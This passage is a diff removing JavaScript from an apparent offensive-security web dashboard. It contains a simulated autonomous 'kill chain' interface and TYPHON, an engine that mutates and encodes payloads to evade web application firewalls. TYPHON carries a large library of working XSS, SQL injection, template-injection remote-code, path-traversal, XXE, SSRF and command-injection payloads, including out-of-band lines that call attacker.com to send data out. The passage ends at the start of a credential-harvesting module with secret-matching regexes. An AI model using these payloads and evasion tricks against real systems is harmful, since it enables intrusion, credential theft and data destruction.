-                        <div style="background: rgba(0,0,0,0.3); padding: 15px; border-radius: 8px; margin-bottom: 15px;">
-                            <h4 style="color: #ff4444; margin: 0 0 10px 0;">Orchestrated Tools</h4>
-                            <div style="display: grid; grid-template-columns: repeat(3, 1fr); gap: 8px; font-size: 12px;">
-                                <div style="color: #ff8888;">🔮 SPECTRA → Recon</div>
-                                <div style="color: #ff8888;">⚡ SPHINX → Validate</div>
-                                <div style="color: #ff8888;">🐲 CHIMERA → Weaponize</div>
-                                <div style="color: #ff8888;">🎯 GORGON → Exploit</div>
-                                <div style="color: #ff8888;">🔓 CERBERUS → Escalate</div>
-                                <div style="color: #ff8888;">✹ HYDRA → Parallel</div>
-                            </div>
-                        </div>
-
-                        <div style="display: grid; grid-template-columns: repeat(4, 1fr); gap: 10px; margin-bottom: 15px;">
-                            <button onclick="LEVIATHAN.setAutonomy('SUPERVISED')" style="background: #1a3a1a; border: 1px solid #44ff44; color: #44ff44; padding: 8px; border-radius: 6px; cursor: pointer; font-size: 11px;">
-                                SUPERVISED
-                            </button>
-                            <button onclick="LEVIATHAN.setAutonomy('GUIDED')" style="background: #3a3a1a; border: 1px solid #ffff44; color: #ffff44; padding: 8px; border-radius: 6px; cursor: pointer; font-size: 11px;">
-                                GUIDED
-                            </button>
-                            <button onclick="LEVIATHAN.setAutonomy('AUTONOMOUS')" style="background: #3a1a1a; border: 1px solid #ff8844; color: #ff8844; padding: 8px; border-radius: 6px; cursor: pointer; font-size: 11px;">
-                                AUTONOMOUS
-                            </button>
-                            <button onclick="LEVIATHAN.setAutonomy('BERSERKER')" style="background: #4a0a0a; border: 1px solid #ff4444; color: #ff4444; padding: 8px; border-radius: 6px; cursor: pointer; font-size: 11px;">
-                                🩸 BERSERKER
-                            </button>
-                        </div>
-
-                        <div style="display: flex; gap: 10px;">
-                            <input type="text" id="leviathan-target" placeholder="Enter target (e.g., target.com)"
-                                style="flex: 1; background: #0a0a0a; border: 1px solid #8b0000; color: #ff8888; padding: 10px; border-radius: 6px;">
-                            <button onclick="runLeviathanEngagement()"
-                                style="background: linear-gradient(135deg, #8b0000, #4a0000); border: none; color: #fff; padding: 10px 20px; border-radius: 6px; cursor: pointer; font-weight: bold;">
-                                ⬡ ENGAGE
-                            </button>
-                        </div>
-
-                        <button onclick="runLeviathanDemo()"
-                            style="width: 100%; margin-top: 10px; background: linear-gradient(135deg, #2d0a0a, #1a0505); border: 1px solid #8b0000; color: #ff8888; padding: 12px; border-radius: 6px; cursor: pointer;">
-                            Run Demo Engagement
-                        </button>
-                    </div>
-                `;
-            },
-
-            setAutonomy(level) {
-                if (this.autonomyLevels[level]) {
-                    console.log(`[LEVIATHAN] Autonomy set to: ${level}`);
-                    toast(`🩸 LEVIATHAN autonomy: ${level}`, 'warning');
-                }
-            }
-        };
-
-        window.LEVIATHAN = LEVIATHAN;
-
-        // LEVIATHAN helper functions
-        function runLeviathanDemo() {
-            toast('[SIMULATED] ⬡ Initiating LEVIATHAN demo engagement (local simulation, no real packets)...', 'warning');
-            LEVIATHAN.runDemo().then(result => {
-                if (result.success) {
-                    toast(`[SIMULATED] ⬡ LEVIATHAN demo complete (randomized outcome). Access: ${result.summary.accessLevel}`, 'success');
-                    addIntel('LEVIATHAN', `[SIMULATED] Kill chain complete: ${result.summary.shellsObtained} shells, ${result.summary.accessLevel} access`, 'success');
-                } else {
-                    toast(`[SIMULATED] ⚠️ LEVIATHAN engagement: ${result.status}`, 'warning');
-                    addIntel('LEVIATHAN', `[SIMULATED] Engagement ended: ${result.status}`, 'warning');
-                }
-            });
-        }
-
-        async function runLeviathanEngagement() {
-            const target = document.getElementById('leviathan-target')?.value;
-            if (!target) {
-                toast('❌ Please enter a target', 'error');
-                return;
-            }
-            toast(`[SIMULATED] 🩸 LEVIATHAN engaging ${target} (local simulation, no real packets)...`, 'warning');
-
-            // [SIMULATED] Client-side kill-chain simulation only. The backend
-            // /api/pliny/leviathan/engage route was retired on 2026-06-30, so this
-            // runs entirely in-browser with a randomized outcome — no real compromise.
-            await LEVIATHAN.initEngagement(target, { autonomy: 'AUTONOMOUS' });
-            const result = await LEVIATHAN.execute();
-            if (result.success) {
-                toast(`[SIMULATED] ${target} — local simulation reported ${result.summary.accessLevel} access (randomized, not a real compromise)`, 'success');
-            } else {
-                toast(`[SIMULATED] ⚠️ Engagement ended: ${result.status}`, 'warning');
-            }
-        }
-
-        // Pliny Specials helper functions
-        function runHydraDemo() { HYDRA.runDemo(); }
-        function runArachneDemo() { ARACHNE.runDemo(); }
-        function runCerberusDemo() { CERBERUS.runDemo(); }
-        function runGorgonDemo() { GORGON.runDemo(); }
-        function runSphinxDemo() { SPHINX.runDemo(); }
-
-        // ═══════════════════════════════════════════════════════════════
-        // TYPHON - The Mutation Engine - Advanced Payload Injection Engine
-        // Power: 90 | Offense: 100% | Defense: 0%
-        // Production-grade payload engineering with context-aware mutation
-        // ═══════════════════════════════════════════════════════════════
-        const TYPHON = {
-            name: 'TYPHON',
-            version: '2.0.0',
-            power: 90,
-            offense: 100,
-            defense: 0,
-
-            // ─────────────────────────────────────────────────────────────
-            // ENCODING ENGINE - Multi-layer transformation pipeline
-            // ─────────────────────────────────────────────────────────────
-            encoders: {
-                // URL Encoding variants
-                url: (p) => encodeURIComponent(p),
-                urlDouble: (p) => encodeURIComponent(encodeURIComponent(p)),
-                urlTriple: (p) => encodeURIComponent(encodeURIComponent(encodeURIComponent(p))),
-                urlSelective: (p) => p.replace(/[<>"'&]/g, c => '%' + c.charCodeAt(0).toString(16).toUpperCase()),
-
-                // Base64 variants
-                base64: (p) => btoa(unescape(encodeURIComponent(p))),
-                base64url: (p) => btoa(unescape(encodeURIComponent(p))).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, ''),
-                base64Chunked: (p) => btoa(unescape(encodeURIComponent(p))).match(/.{1,76}/g)?.join('\n') || btoa(p),
-
-                // Unicode variants
-                unicode: (p) => p.split('').map(c => '\\u' + c.charCodeAt(0).toString(16).padStart(4, '0')).join(''),
-                unicodeHtml: (p) => p.split('').map(c => '&#x' + c.charCodeAt(0).toString(16) + ';').join(''),
-                unicodeCss: (p) => p.split('').map(c => '\\' + c.charCodeAt(0).toString(16).padStart(6, '0')).join(''),
-                utf7: (p) => '+' + btoa(p.split('').map(c => String.fromCharCode(0, c.charCodeAt(0))).join('')).replace(/=/g, '') + '-',
-                utf16be: (p) => p.split('').map(c => '%00%' + c.charCodeAt(0).toString(16).padStart(2, '0')).join(''),
-                utf16le: (p) => p.split('').map(c => '%' + c.charCodeAt(0).toString(16).padStart(2, '0') + '%00').join(''),
-
-                // HTML entity variants
-                htmlDec: (p) => p.split('').map(c => '&#' + c.charCodeAt(0) + ';').join(''),
-                htmlHex: (p) => p.split('').map(c => '&#x' + c.charCodeAt(0).toString(16) + ';').join(''),
-                htmlNamed: (p) => p.replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;'),
-                htmlMixed: (p) => p.split('').map((c, i) => i % 2 ? '&#' + c.charCodeAt(0) + ';' : '&#x' + c.charCodeAt(0).toString(16) + ';').join(''),
-
-                // Hex variants
-                hex: (p) => p.split('').map(c => '\\x' + c.charCodeAt(0).toString(16).padStart(2, '0')).join(''),
-                hexRaw: (p) => p.split('').map(c => c.charCodeAt(0).toString(16).padStart(2, '0')).join(''),
-                hexPrefixed: (p) => '0x' + p.split('').map(c => c.charCodeAt(0).toString(16).padStart(2, '0')).join(''),
-
-                // Octal variants
-                octal: (p) => p.split('').map(c => '\\' + c.charCodeAt(0).toString(8).padStart(3, '0')).join(''),
-                octalPerl: (p) => p.split('').map(c => '\\o{' + c.charCodeAt(0).toString(8) + '}').join(''),
-
-                // JavaScript specific
-                jsString: (p) => p.split('').map(c => String.fromCharCode(c.charCodeAt(0))).join(''),
-                jsCharCode: (p) => `String.fromCharCode(${p.split('').map(c => c.charCodeAt(0)).join(',')})`,
-                jsEval: (p) => `eval(atob('${btoa(p)}'))`,
-                jsTemplate: (p) => '`' + p.replace(/`/g, '\\`').replace(/\$/g, '\\$') + '`',
-
-                // Data URI
-                dataUri: (p) => `data:text/html;base64,${btoa(p)}`,
-                dataUriUtf8: (p) => `data:text/html;charset=utf-8,${encodeURIComponent(p)}`,
-
-                // Punycode (for IDN homograph)
-                punycode: (p) => {
-                    // Simplified punycode for demo - maps common chars to look-alikes
-                    const map = {'a':'а','e':'е','o':'о','p':'р','c':'с','x':'х','y':'у','i':'і'};
-                    return p.split('').map(c => map[c.toLowerCase()] || c).join('');
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // WAF BYPASS ENGINE - Signature evasion techniques
-            // ─────────────────────────────────────────────────────────────
-            wafBypass: {
-                // Case manipulation
-                caseToggle: (p) => p.split('').map((c, i) => i % 2 ? c.toUpperCase() : c.toLowerCase()).join(''),
-                caseRandom: (p) => p.split('').map(c => Math.random() > 0.5 ? c.toUpperCase() : c.toLowerCase()).join(''),
-
-                // Null byte injection
-                nullByte: (p) => p.split('').join('\x00'),
-                nullByteUrl: (p) => p.split('').join('%00'),
-
-                // Comment injection (SQL/JS)
-                sqlComment: (p) => p.replace(/SELECT/gi, 'SEL/**/ECT').replace(/UNION/gi, 'UN/**/ION')
-                    .replace(/FROM/gi, 'FR/**/OM').replace(/WHERE/gi, 'WH/**/ERE')
-                    .replace(/AND/gi, 'AN/**/D').replace(/OR/gi, 'O/**/R'),
-                jsComment: (p) => p.replace(/script/gi, 'scr/**/ipt').replace(/alert/gi, 'al/**/ert')
-                    .replace(/onerror/gi, 'on/**/error'),
-
-                // Whitespace substitution
-                whitespaceTab: (p) => p.replace(/ /g, '\t'),
-                whitespaceNewline: (p) => p.replace(/ /g, '\n'),
-                whitespaceSqlComment: (p) => p.replace(/ /g, '/**/'),
-                whitespaceUrlEncoded: (p) => p.replace(/ /g, '%20'),
-                whitespaceAlternative: (p) => p.replace(/ /g, '\u00a0'), // Non-breaking space
-
-                // Tag mutation (XSS)
-                tagUppercase: (p) => p.replace(/<(\/?[a-z]+)/gi, (m, t) => '<' + t.toUpperCase()),
-                tagSpaced: (p) => p.replace(/<([a-z]+)/gi, '< $1').replace(/<\/([a-z]+)>/gi, '</ $1>'),
-                tagSlashed: (p) => p.replace(/<([a-z]+)/gi, '</$1').replace(/<\//g, '</'),
-
-                // Attribute mutation
-                attrNoQuotes: (p) => p.replace(/="([^"]+)"/g, '=$1'),
-                attrBackticks: (p) => p.replace(/="([^"]+)"/g, '=`$1`'),
-                attrEntity: (p) => p.replace(/=/g, '&#61;'),
-
-                // Protocol obfuscation
-                protocolCase: (p) => p.replace(/javascript:/gi, 'JaVaScRiPt:'),
-                protocolEncoded: (p) => p.replace(/javascript:/gi, '&#106;avascript:'),
-                protocolNewline: (p) => p.replace(/javascript:/gi, 'java\nscript:'),
-                protocolTab: (p) => p.replace(/javascript:/gi, 'java\tscript:'),
-
-                // HPP (HTTP Parameter Pollution)
-                paramDuplicate: (p) => p + '&' + p.split('=')[0] + '=benign',
-
-                // Concatenation splitting
-                concat: (p) => p.match(/.{1,3}/g)?.map(s => `'${s}'`).join('+') || p,
-
-                // Unicode normalization bypass
-                unicodeNormalize: (p) => p.normalize('NFKC'),
-
-                // Double encoding chains
-                doubleEncode: (p) => encodeURIComponent(encodeURIComponent(p))
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // PAYLOAD LIBRARY - Context-specific injection vectors
-            // ─────────────────────────────────────────────────────────────
-            payloads: {
-                xss: {
-                    // Event handlers
-                    imgError: '\x3cimg src=x onerror=alert(1)\x3e',
-                    svgLoad: '\x3csvg onload=alert(1)\x3e',
-                    bodyLoad: '\x3cbody onload=alert(1)\x3e',
-                    inputFocus: '\x3cinput onfocus=alert(1) autofocus\x3e',
-                    marqueeStart: '\x3cmarquee onstart=alert(1)\x3e',
-                    videoError: '\x3cvideo\x3e\x3csource onerror=alert(1)\x3e',
-                    detailsToggle: '\x3cdetails open ontoggle=alert(1)\x3e',
-                    iframeSrc: '\x3ciframe src="javascript:alert(1)"\x3e',
-
-                    // DOM-based
-                    domLocation: 'javascript:alert(document.domain)',
-                    domCookie: 'javascript:alert(document.cookie)',
-                    domWrite: '\x3cscript\x3edocument.write("\x3cimg src=x onerror=alert(1)\x3e")\x3c/script\x3e',
-
-                    // Polyglots (work in multiple contexts)
-                    polyglot1: `jaVasCript:/*-/*\`/*\\\`/*'/*"/**/(/* */oNcLiCk=alert() )//`,
-                    polyglot2: `'"--\x3e\x3c/style\x3e\x3c/script\x3e\x3cscript\x3ealert(1)\x3c/script\x3e`,
-                    polyglot3: `\x3c/textarea\x3e'\x3e"\x3e\x3cimg src=x onerror=alert(1)\x3e`,
-                    polyglot4: `'-alert(1)-'`,
-                    polyglot5: `\x3csvg/onload=alert(1)//`,
-
-                    // Filter bypass specific
-                    noParens: '\x3cimg src=x onerror=alert`1`\x3e',
-                    noQuotes: '\x3cimg src=x onerror=alert(String.fromCharCode(88,83,83))\x3e',
-                    noScript: '\x3csvg\x3e\x3cscript\x3ealert(1)\x3c/script\x3e',
-                    noAlertWord: '\x3cimg src=x onerror=[].constructor.constructor("return alert(1)")() \x3e',
-
-                    // Mutation XSS (mXSS)
-                    mxss1: '\x3cmath\x3e\x3cmtext\x3e\x3ctable\x3e\x3cmglyph\x3e\x3cstyle\x3e\x3cimg src=x onerror=alert(1)\x3e',
-                    mxss2: '\x3cnoscript\x3e\x3c/noscript\x3e\x3cimg src=x onerror=alert(1)\x3e'
-                },
-
-                sqli: {
-                    // Authentication bypass
-                    authBypass1: "' OR '1'='1",
-                    authBypass2: "' OR 1=1--",
-                    authBypass3: "admin'--",
-                    authBypass4: "' OR ''='",
-                    authBypass5: "1' OR '1'='1' /*",
-
-                    // UNION-based
-                    unionBasic: "' UNION SELECT NULL,NULL,NULL--",
-                    unionColumns: "' UNION SELECT username,password,NULL FROM users--",
-                    unionVersion: "' UNION SELECT NULL,@@version,NULL--",
-                    unionConcat: "' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--",
-
-                    // Error-based
-                    errorExtract: "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))--",
-                    errorUpdatexml: "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)--",
-                    errorDouble: "' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
-
-                    // Blind boolean
-                    blindTrue: "' AND 1=1--",
-                    blindFalse: "' AND 1=2--",
-                    blindSubstr: "' AND SUBSTRING((SELECT database()),1,1)='a'--",
-                    blindAscii: "' AND ASCII(SUBSTRING((SELECT database()),1,1))>64--",
-
-                    // Blind time-based
-                    timeSleep: "' AND SLEEP(5)--",
-                    timeBenchmark: "' AND BENCHMARK(10000000,MD5('a'))--",
-                    timeCondition: "' AND IF(1=1,SLEEP(5),0)--",
-
-                    // Stacked queries
-                    stackedDrop: "'; DROP TABLE users;--",
-                    stackedInsert: "'; INSERT INTO users VALUES('hacked','hacked');--",
-                    stackedXp: "'; EXEC xp_cmdshell('whoami');--",
-
-                    // WAF bypass variants
-                    bypassComment: "/*!50000UNION*/ /*!50000SELECT*/ NULL,NULL,NULL--",
-                    bypassCase: "uNiOn SeLeCt NULL,NULL,NULL--",
-                    bypassWhitespace: "'/**/UNION/**/SELECT/**/NULL,NULL,NULL--",
-                    bypassHex: "' UNION SELECT 0x61646d696e,0x70617373776f7264,NULL--"
-                },
-
-                ssti: {
-                    // Jinja2/Flask
-                    jinja2Basic: '{{7*7}}',
-                    jinja2Config: '{{config}}',
-                    jinja2RCE: "{{''.__class__.__mro__[1].__subclasses__()}}",
-                    jinja2Shell: "{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}",
-
-                    // Twig
-                    twigBasic: '{{7*7}}',
-                    twigId: "{{['id']|filter('system')}}",
-                    twigRce: "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}",
-
-                    // Freemarker
-                    freemarkerBasic: '${7*7}',
-                    freemarkerExec: '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}',
-
-                    // Velocity
-                    velocityBasic: '#set($x=7*7)$x',
-                    velocityRce: '#set($rt=$x.class.forName("java.lang.Runtime").getRuntime().exec("id"))',
-
-                    // Mako
-                    makoBasic: '${7*7}',
-                    makoImport: "<%import os%>${os.popen('id').read()}",
-
-                    // Smarty
-                    smartyBasic: '{$smarty.version}',
-                    smartyRce: '{php}echo `id`;{/php}',
-
-                    // ERB (Ruby)
-                    erbBasic: '<%= 7*7 %>',
-                    erbRce: "<%= system('id') %>",
-
-                    // Pebble
-                    pebbleBasic: '{{7*7}}',
-                    pebbleRce: '{% set cmd = "id" %}{% set bytes = (1).TYPE.forName("java.lang.Runtime").methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{ (1).TYPE.forName("java.lang.String").constructors[0].newInstance(([bytes]).toArray()) }}'
-                },
-
-                lfi: {
-                    // Basic traversal
-                    etcPasswd: '../../../etc/passwd',
-                    etcShadow: '../../../etc/shadow',
-                    winHosts: '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
-
-                    // Null byte (PHP < 5.3.4)
-                    nullByte: '../../../etc/passwd%00',
-                    nullByteDouble: '../../../etc/passwd%00.jpg',
-
-                    // Filter bypass
-                    doubleEncoded: '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
-                    dotdotSlash: '....//....//....//etc/passwd',
-                    backslash: '..\\..\\..\\etc\\passwd',
-
-                    // PHP wrappers
-                    phpFilter: 'php://filter/convert.base64-encode/resource=index.php',
-                    phpInput: 'php://input',
-                    phpData: 'data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==',
-                    phpExpect: 'expect://id',
-                    phpPhar: 'phar://uploads/shell.jpg/shell.php',
-                    phpZip: 'zip://uploads/shell.zip#shell.php',
-
-                    // Log poisoning targets
-                    apacheAccess: '../../../var/log/apache2/access.log',
-                    apacheError: '../../../var/log/apache2/error.log',
-                    nginxAccess: '../../../var/log/nginx/access.log',
-                    sshLog: '../../../var/log/auth.log',
-                    mailLog: '../../../var/log/mail.log',
-                    procSelf: '/proc/self/environ',
-                    procFd: '/proc/self/fd/0'
-                },
-
-                xxe: {
-                    // Basic XXE
-                    fileRead: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
-                    ssrf: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/">]><foo>&xxe;</foo>',
-
-                    // Parameter entity
-                    paramEntity: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><foo></foo>',
-
-                    // Blind XXE with OOB
-                    blindOob: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;%eval;%exfil;]><foo></foo>',
-
-                    // XInclude
-                    xinclude: '<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>'
-                },
-
-                ssrf: {
-                    // Internal scanning
-                    localhost: 'http://127.0.0.1/',
-                    localhostPort: 'http://127.0.0.1:8080/',
-                    metadata169: 'http://169.254.169.254/latest/meta-data/',
-                    metadataAzure: 'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
-                    metadataGcp: 'http://metadata.google.internal/computeMetadata/v1/',
-
-                    // Bypass localhost filters
-                    decimal: 'http://2130706433/', // 127.0.0.1 in decimal
-                    hex: 'http://0x7f000001/',
-                    octal: 'http://0177.0.0.1/',
-                    shortened: 'http://127.1/',
-                    ipv6: 'http://[::1]/',
-                    ipv6Mapped: 'http://[::ffff:127.0.0.1]/',
-
-                    // Protocol smuggling
-                    gopher: 'gopher://127.0.0.1:25/_HELO%20localhost',
-                    dict: 'dict://127.0.0.1:11211/stat',
-                    file: 'file:///etc/passwd'
-                },
-
-                cmdInj: {
-                    // Basic injection
-                    semicolon: '; id',
-                    pipe: '| id',
-                    ampersand: '& id',
-                    doubleAmp: '&& id',
-                    doublePipe: '|| id',
-                    backtick: '`id`',
-                    dollar: '$(id)',
-
-                    // Newline
-                    newline: '%0aid',
-                    carriageReturn: '%0d%0aid',
-
-                    // Filter bypass
-                    spaceless: '{cat,/etc/passwd}',
-                    variableIFS: 'cat${IFS}/etc/passwd',
-                    brace: '{cat,/etc/passwd}',
-                    wildcard: '/???/??t /???/p??s??',
-
-                    // Blind command injection
-                    blindSleep: '; sleep 10',
-                    blindPing: '; ping -c 10 127.0.0.1',
-                    blindCurl: '; curl http://attacker.com/$(whoami)'
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // CONTEXT DETECTION - Identify injection context
-            // ─────────────────────────────────────────────────────────────
-            contexts: {
-                htmlTag: { breakout: '\x3e', inject: 'onerror=alert(1)' },
-                htmlAttrDouble: { breakout: '"', inject: ' onerror=alert(1) x="' },
-                htmlAttrSingle: { breakout: "'", inject: " onerror=alert(1) x='" },
-                htmlAttrUnquoted: { breakout: ' ', inject: 'onerror=alert(1)' },
-                htmlComment: { breakout: '--\x3e', inject: '\x3cimg src=x onerror=alert(1)\x3e\x3c!--' },
-                jsString: { breakout: "';", inject: "alert(1);//" },
-                jsStringDouble: { breakout: '";', inject: 'alert(1);//' },
-                jsTemplate: { breakout: '${', inject: 'alert(1)}' },
-                url: { breakout: '', inject: 'javascript:alert(1)' },
-                css: { breakout: '}', inject: '*{background:url(javascript:alert(1))}' },
-                sqlString: { breakout: "'", inject: " OR '1'='1" }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // MUTATION ENGINE - Intelligent payload transformation
-            // ─────────────────────────────────────────────────────────────
-            mutate(payload, options = {}) {
-                const mutations = [];
-                const { context = 'html', maxVariations = 50 } = options;
-
-                // Apply all single encodings
-                for (const [name, encoder] of Object.entries(this.encoders)) {
-                    try {
-                        mutations.push({
-                            payload: encoder(payload),
-                            encoding: name,
-                            context: context
-                        });
-                    } catch (e) { /* Skip failed encodings */ }
-                }
-
-                // Apply all WAF bypasses
-                for (const [name, bypass] of Object.entries(this.wafBypass)) {
-                    try {
-                        mutations.push({
-                            payload: bypass(payload),
-                            encoding: `bypass:${name}`,
-                            context: context
-                        });
-                    } catch (e) { /* Skip failed bypasses */ }
-                }
-
-                // Multi-layer encoding combinations
-                const encodingChains = [
-                    ['url', 'base64'],
-                    ['base64', 'url'],
-                    ['hex', 'url'],
-                    ['unicode', 'url'],
-                    ['htmlDec', 'url'],
-                    ['base64', 'urlDouble']
-                ];
-
-                for (const chain of encodingChains) {
-                    let result = payload;
-                    for (const enc of chain) {
-                        if (this.encoders[enc]) {
-                            result = this.encoders[enc](result);
-                        }
-                    }
-                    mutations.push({
-                        payload: result,
-                        encoding: chain.join('+'),
-                        context: context
-                    });
-                }
-
-                return mutations.slice(0, maxVariations);
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // PAYLOAD ANALYSIS - Entropy and detection scoring
-            // ─────────────────────────────────────────────────────────────
-            analyze(payload) {
-                const analysis = {
-                    length: payload.length,
-                    entropy: this._calculateEntropy(payload),
-                    charClasses: this._analyzeCharClasses(payload),
-                    patterns: this._detectPatterns(payload),
-                    evasionScore: 0,
-                    detectionRisk: 'low'
-                };
-
-                // Calculate evasion score based on characteristics
-                if (analysis.entropy > 4.5) analysis.evasionScore += 20;
-                if (analysis.charClasses.encoded > 0.3) analysis.evasionScore += 25;
-                if (!analysis.patterns.hasKeywords) analysis.evasionScore += 30;
-                if (analysis.length > 200) analysis.evasionScore += 10;
-
-                // Determine detection risk
-                if (analysis.patterns.hasKeywords && analysis.charClasses.encoded < 0.1) {
-                    analysis.detectionRisk = 'high';
-                } else if (analysis.evasionScore > 50) {
-                    analysis.detectionRisk = 'low';
-                } else {
-                    analysis.detectionRisk = 'medium';
-                }
-
-                return analysis;
-            },
-
-            _calculateEntropy(str) {
-                const freq = {};
-                for (const c of str) freq[c] = (freq[c] || 0) + 1;
-                let entropy = 0;
-                const len = str.length;
-                for (const count of Object.values(freq)) {
-                    const p = count / len;
-                    entropy -= p * Math.log2(p);
-                }
-                return Math.round(entropy * 100) / 100;
-            },
-
-            _analyzeCharClasses(str) {
-                const total = str.length || 1;
-                return {
-                    alpha: (str.match(/[a-zA-Z]/g) || []).length / total,
-                    numeric: (str.match(/[0-9]/g) || []).length / total,
-                    special: (str.match(/[^a-zA-Z0-9\s]/g) || []).length / total,
-                    encoded: (str.match(/%[0-9A-Fa-f]{2}|\\x[0-9A-Fa-f]{2}|\\u[0-9A-Fa-f]{4}/g) || []).length * 3 / total,
-                    whitespace: (str.match(/\s/g) || []).length / total
-                };
-            },
-
-            _detectPatterns(str) {
-                const lowerStr = str.toLowerCase();
-                return {
-                    hasKeywords: /script|alert|onerror|onload|eval|union|select|exec|system/.test(lowerStr),
-                    hasHtmlTags: /<[a-z]/i.test(str),
-                    hasSqlKeywords: /union|select|from|where|insert|update|delete|drop/i.test(str),
-                    hasPathTraversal: /\.\.\/|\.\.\\/.test(str),
-                    hasProtocol: /javascript:|data:|file:|gopher:/i.test(str)
-                };
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // INJECTION ORCHESTRATOR
-            // ─────────────────────────────────────────────────────────────
-            async inject(target, payload, options = {}) {
-                const startTime = performance.now();
-
-                // Analyze original payload
-                const originalAnalysis = this.analyze(payload);
-
-                // Generate mutations
-                const mutations = this.mutate(payload, options);
-
-                // Score each mutation
-                const scoredMutations = mutations.map(m => ({
-                    ...m,
-                    analysis: this.analyze(m.payload),
-                    score: 0
-                }));
-
-                // Rank by evasion score
-                scoredMutations.sort((a, b) => b.analysis.evasionScore - a.analysis.evasionScore);
-
-                const elapsed = Math.round(performance.now() - startTime);
-
-                return {
-                    success: true,
-                    target: target,
-                    original: { payload, analysis: originalAnalysis },
-                    mutations: scoredMutations.slice(0, 10),
-                    totalGenerated: mutations.length,
-                    bestEvasionScore: scoredMutations[0]?.analysis.evasionScore || 0,
-                    elapsed: `${elapsed}ms`
-                };
-            },
-
-            // Demo function
-            async runDemo() {
-                console.log('═══════════════════════════════════════════════════════════');
-                console.log('🔱 TYPHON v2.0 - Advanced Payload Injection Engine');
-                console.log('   Power: 90 | Offense: 100% | Defense: 0%');
-                console.log('   "The mutation engine maps filters into testable pressure."');
-                console.log('═══════════════════════════════════════════════════════════');
-
-                const demoPayload = '\x3cscript\x3ealert(document.domain)\x3c/script\x3e';
-
-                // [SIMULATED] Client-side payload mutation only. The backend
-                // /api/pliny/typhon/inject route was retired on 2026-06-30, so this
-                // demo runs entirely in-browser with no backend call.
-
-                // Local analysis
-                console.log(`\\n[TYPHON] Original payload: ${demoPayload}`);
-                const analysis = this.analyze(demoPayload);
-                console.log(`[TYPHON] Entropy: ${analysis.entropy}, Detection Risk: ${analysis.detectionRisk}`);
-
-                console.log('\\n[TYPHON] Generating mutations...');
-                const result = await this.inject('demo-target', demoPayload, { context: 'html', maxVariations: 100 });
-
-                console.log(`[TYPHON] Generated ${result.totalGenerated} mutations in ${result.elapsed}`);
-                console.log(`[TYPHON] Best evasion score: ${result.bestEvasionScore}`);
-
-                console.log('\\n[TYPHON] Top 5 mutations:');
-                result.mutations.slice(0, 5).forEach((m, i) => {
-                    console.log(`  ${i + 1}. [${m.encoding}] Score: ${m.analysis.evasionScore} | Risk: ${m.analysis.detectionRisk}`);
-                    console.log(`     ${m.payload.substring(0, 60)}${m.payload.length > 60 ? '...' : ''}`);
-                });
-
-                // Show payload library stats
-                console.log('\\n[TYPHON] Payload Library:');
-                for (const [category, payloads] of Object.entries(this.payloads)) {
-                    const count = typeof payloads === 'object' ? Object.keys(payloads).length : 0;
-                    console.log(`   ${category.toUpperCase()}: ${count} vectors`);
-                }
-
-                toast('[SIMULATED] 🔱 TYPHON demo complete', 'success');
-                return result;
-            }
-        };
-
-        window.TYPHON = TYPHON;
-
-        // ═══════════════════════════════════════════════════════════════
-        // GRIFFIN - The Secret Boundary Engine - Advanced Credential Harvesting
-        // Power: 95 | Offense: 100% | Defense: 0%
-        // Production-grade secret detection with entropy analysis
-        // ═══════════════════════════════════════════════════════════════
-        const GRIFFIN = {
-            name: 'GRIFFIN',
-            version: '2.0.0',
-            power: 95,
-            offense: 100,
-            defense: 0,
-
-            // ─────────────────────────────────────────────────────────────
-            // SECRET PATTERN DATABASE - Comprehensive token signatures
-            // ─────────────────────────────────────────────────────────────
-            patterns: {
-                // Cloud Provider Credentials
-                aws: {
-                    accessKey: { pattern: /(?:A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}/g, severity: 'critical', provider: 'AWS' },
-                    secretKey: { pattern: /(?:aws_secret_access_key|aws_secret_key|secret_access_key)['":\s=]+['"]?([A-Za-z0-9/+=]{40})['"]?/gi, severity: 'critical', provider: 'AWS' },
-                    sessionToken: { pattern: /(?:aws_session_token|session_token)['":\s=]+['"]?([A-Za-z0-9/+=]{100,})['"]?/gi, severity: 'high', provider: 'AWS' },
-                    mwsAuth: { pattern: /amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi, severity: 'critical', provider: 'AWS MWS' }
-                },
-
-                gcp: {
-                    apiKey: { pattern: /AIza[0-9A-Za-z\-_]{35}/g, severity: 'high', provider: 'GCP' },
